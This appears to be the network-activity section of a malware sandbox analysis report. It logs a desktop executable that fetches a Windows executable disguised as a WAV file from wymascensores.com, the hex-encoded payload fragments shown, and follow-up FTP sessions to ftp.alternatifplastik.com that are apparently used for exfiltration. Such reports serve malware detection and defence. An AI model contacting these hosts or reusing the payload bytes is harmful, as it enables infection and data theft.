Sep 27, 2024 10:43:55.965756893 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.965863943 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.966015100 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.966078997 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.966176987 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.966243982 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.966375113 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.966439962 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.966598988 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.966661930 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.966864109 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.966923952 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.967174053 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.967247963 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.967372894 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.967432976 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.967636108 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.967689037 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.967694998 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.967708111 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.967731953 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.967750072 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.968086958 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.968147039 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.968305111 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.968347073 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.968363047 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.968370914 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.968389988 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.968405008 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.968430042 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.968480110 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.969002962 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.969052076 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.969065905 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.969074011 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.969099045 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.969108105 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.969120979 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:55.969125032 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:55.969168901 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.052586079 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.052756071 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.052763939 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.052779913 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.052820921 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.052959919 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.053020954 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.053251028 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.053325891 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.053482056 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.053554058 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.053684950 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.053752899 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.053877115 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.053947926 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.054039001 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.054105997 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.054272890 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.054336071 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.054420948 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.054482937 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.054486990 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.054497957 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.054537058 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.054544926 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.054554939 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.054594994 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.055238962 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.055320024 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.055371046 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.055443048 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.055644035 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.055707932 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.055825949 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.055882931 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.138758898 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.138829947 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.139000893 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.139059067 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.139343977 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.139405966 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.139508009 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.139575958 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.139739037 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.139802933 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.139991999 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.140058041 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.140223980 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.140319109 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.140448093 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.140508890 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.140671015 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.140738964 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.140867949 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.140933990 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.141021967 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.141077042 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.141294956 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.141347885 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.141467094 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.141522884 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.141850948 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.141911030 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.142046928 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.142102957 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.142195940 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.142251015 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.224783897 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.224956036 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.224966049 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.224988937 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.225033045 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.225220919 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.225285053 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.225379944 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.225450039 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.225686073 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.225750923 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.225860119 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.225928068 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.226063013 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.226126909 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.226320028 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.226382017 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.226572990 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.226632118 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.226810932 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.226865053 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.227056980 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.227152109 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.227468967 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.227525949 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.227633953 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.227693081 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.227777958 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.227839947 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.228003025 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.228059053 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.228210926 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.228271008 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.228305101 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.228354931 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.228363037 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.228380919 CEST	443	52077	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:56.228401899 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.228434086 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:56.235898972 CEST	52077	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:44:00.230029106 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:00.235095024 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:00.235217094 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:00.846366882 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:00.877207041 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:00.882242918 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:01.104191065 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:01.104353905 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:01.106745958 CEST	49705	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:01.109198093 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:01.356802940 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:01.361618042 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:01.366503954 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:01.584502935 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:01.584752083 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:01.589731932 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:01.805085897 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:01.805367947 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:01.810285091 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:02.025809050 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:02.026000023 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:02.030790091 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:02.246365070 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:02.247358084 CEST	52079	60855	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:02.252193928 CEST	60855	52079	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:02.252278090 CEST	52079	60855	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:02.252408028 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:02.258636951 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:02.871179104 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:02.871510983 CEST	52079	60855	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:02.871614933 CEST	52079	60855	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:02.880040884 CEST	60855	52079	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:02.882654905 CEST	60855	52079	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:02.882715940 CEST	52079	60855	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:02.924896002 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:03.096740961 CEST	21	52078	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:03.143671989 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:08.392204046 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:08.398726940 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:08.399534941 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:09.020767927 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:09.021080017 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:09.026089907 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:09.245609045 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:09.245783091 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:09.250775099 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:09.495488882 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:09.495642900 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:09.500494003 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:09.707575083 CEST	52078	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:09.720036030 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:09.720227003 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:09.725250959 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:09.944448948 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:09.944714069 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:09.949595928 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:10.169923067 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:10.170335054 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:10.175273895 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:10.394684076 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:10.395602942 CEST	52081	52109	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:10.400418043 CEST	52109	52081	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:10.402652979 CEST	52081	52109	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:10.402749062 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:10.407953978 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:11.022186995 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:11.022490978 CEST	52081	52109	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:11.022557974 CEST	52081	52109	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:11.027360916 CEST	52109	52081	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:11.027703047 CEST	52109	52081	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:11.027817011 CEST	52081	52109	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:11.065547943 CEST	52080	21	192.168.2.5	5.2.84.236
Sep 27, 2024 10:44:11.247031927 CEST	21	52080	5.2.84.236	192.168.2.5
Sep 27, 2024 10:44:11.299962997 CEST	52080	21	192.168.2.5	5.2.84.236

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 10:43:21.941817999 CEST	50542	53	192.168.2.5	1.1.1.1
Sep 27, 2024 10:43:22.182703972 CEST	53	50542	1.1.1.1	192.168.2.5
Sep 27, 2024 10:43:36.798351049 CEST	60201	53	192.168.2.5	1.1.1.1
Sep 27, 2024 10:43:37.013014078 CEST	53	60201	1.1.1.1	192.168.2.5
Sep 27, 2024 10:43:42.574939966 CEST	53	64061	1.1.1.1	192.168.2.5
Sep 27, 2024 10:43:44.042215109 CEST	53	60011	1.1.1.1	192.168.2.5
Sep 27, 2024 10:43:45.988929033 CEST	55565	53	192.168.2.5	1.1.1.1
Sep 27, 2024 10:43:45.996412992 CEST	53	55565	1.1.1.1	192.168.2.5
Sep 27, 2024 10:43:53.701389074 CEST	64534	53	192.168.2.5	1.1.1.1
Sep 27, 2024 10:43:53.976898909 CEST	53	64534	1.1.1.1	192.168.2.5
Sep 27, 2024 10:44:00.126416922 CEST	52463	53	192.168.2.5	1.1.1.1
Sep 27, 2024 10:44:00.221124887 CEST	53	52463	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 10:43:21.941817999 CEST	192.168.2.5	1.1.1.1	0xfe12	Standard query (0)	wymascensores.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:43:36.798351049 CEST	192.168.2.5	1.1.1.1	0xeef1	Standard query (0)	ftp.alternatifplastik.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:43:45.988929033 CEST	192.168.2.5	1.1.1.1	0x6e5a	Standard query (0)	50.23.12.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Sep 27, 2024 10:43:53.701389074 CEST	192.168.2.5	1.1.1.1	0xd6f1	Standard query (0)	wymascensores.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:44:00.126416922 CEST	192.168.2.5	1.1.1.1	0x9662	Standard query (0)	ftp.alternatifplastik.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 10:43:22.182703972 CEST	1.1.1.1	192.168.2.5	0xfe12	No error (0)	wymascensores.com		67.212.175.162	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:43:37.013014078 CEST	1.1.1.1	192.168.2.5	0xeef1	No error (0)	ftp.alternatifplastik.com		5.2.84.236	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:43:45.996412992 CEST	1.1.1.1	192.168.2.5	0x6e5a	Name error (3)	50.23.12.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Sep 27, 2024 10:43:53.976898909 CEST	1.1.1.1	192.168.2.5	0xd6f1	No error (0)	wymascensores.com		67.212.175.162	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:44:00.221124887 CEST	1.1.1.1	192.168.2.5	0x9662	No error (0)	ftp.alternatifplastik.com		5.2.84.236	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wymascensores.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	67.212.175.162	443	3060	C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 08:43:22 UTC	80	OUT	GET /img/Tcghz.wav HTTP/1.1 Host: wymascensores.com Connection: Keep-Alive
2024-09-27 08:43:22 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 08:43:22 GMT Server: Apache Last-Modified: Thu, 26 Sep 2024 07:21:12 GMT Accept-Ranges: bytes Content-Length: 1917952 Connection: close Content-Type: audio/x-wav
2024-09-27 08:43:22 UTC	7981	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-09-27 08:43:22 UTC	8000	IN	Data Raw: 34 36 31 37 45 43 45 30 32 30 30 30 34 32 38 34 38 30 39 30 30 30 36 32 38 31 32 30 30 30 30 32 42 38 30 33 36 30 30 30 30 30 34 32 30 31 45 30 30 30 30 30 30 33 38 46 39 46 38 46 46 46 46 32 30 46 39 33 31 38 39 36 39 32 30 30 36 42 38 37 30 36 31 36 31 37 45 38 36 30 32 30 30 30 34 37 42 37 41 30 32 30 30 30 34 36 31 37 45 43 45 30 32 30 30 30 34 32 38 34 38 30 39 30 30 30 36 32 30 31 38 32 31 46 31 32 42 32 30 30 36 30 30 30 30 30 30 36 32 32 30 45 46 38 42 43 43 38 35 36 31 37 45 38 36 30 32 30 30 30 34 37 42 35 32 30 32 30 30 30 34 36 31 37 45 43 45 30 32 30 30 30 34 32 38 34 38 30 39 30 30 30 36 32 38 31 33 30 30 30 30 32 42 38 30 33 34 30 30 30 30 30 34 32 30 30 39 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 39 37 46 38 46 46 46 46 32 30 43 33 Data Ascii: 4617ECE0200042848090006281200002B8036000004201E00000038F9F8FFFF20F93189692006B87061617E860200047B7A020004617ECE0200042848090006201821F12B20060000006220EF8BCC85617E860200047B52020004617ECE0200042848090006281300002B80340000042009000000FE0E00003897F8FFFF20C3
2024-09-27 08:43:22 UTC	8000	IN	Data Raw: 32 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 32 45 30 30 30 30 30 30 30 35 30 30 30 30 30 30 32 46 30 30 30 30 30 30 33 38 32 39 30 30 30 30 30 30 37 45 41 41 30 32 30 30 30 34 32 38 42 38 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 37 41 30 32 30 30 30 34 33 41 43 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 41 39 30 32 30 30 30 34 32 38 42 34 30 38 30 30 30 36 32 30 30 31 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 35 30 30 32 30 30 30 34 33 39 41 32 46 46 46 46 46 46 32 36 32 30 30 31 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 37 32 41 30 30 Data Ascii: 2000000FE0E00003800000000FE0C000045030000002E000000050000002F00000038290000007EAA02000428B808000620000000007E860200047B7A0200043ACCFFFFFF26200000000038C1FFFFFF2A7EA902000428B408000620010000007E860200047B5002000439A2FFFFFF2620010000003897FFFFFF120000172A00
2024-09-27 08:43:22 UTC	8000	IN	Data Raw: 30 30 30 30 35 30 30 30 30 30 30 32 46 30 30 30 30 30 30 33 38 32 39 30 30 30 30 30 30 37 45 41 41 30 32 30 30 30 34 32 38 42 38 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 38 33 30 32 30 30 30 34 33 41 43 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 41 39 30 32 30 30 30 34 32 38 42 34 30 38 30 30 30 36 32 30 30 31 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 35 42 30 32 30 30 30 34 33 41 41 32 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 36 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 Data Ascii: 000050000002F00000038290000007EAA02000428B808000620000000007E860200047B830200043ACCFFFFFF26200000000038C1FFFFFF2A7EA902000428B408000620010000007E860200047B5B0200043AA2FFFFFF2620000000003897FFFFFF120000162A000000120000172A000000120000172A000000120000142A00
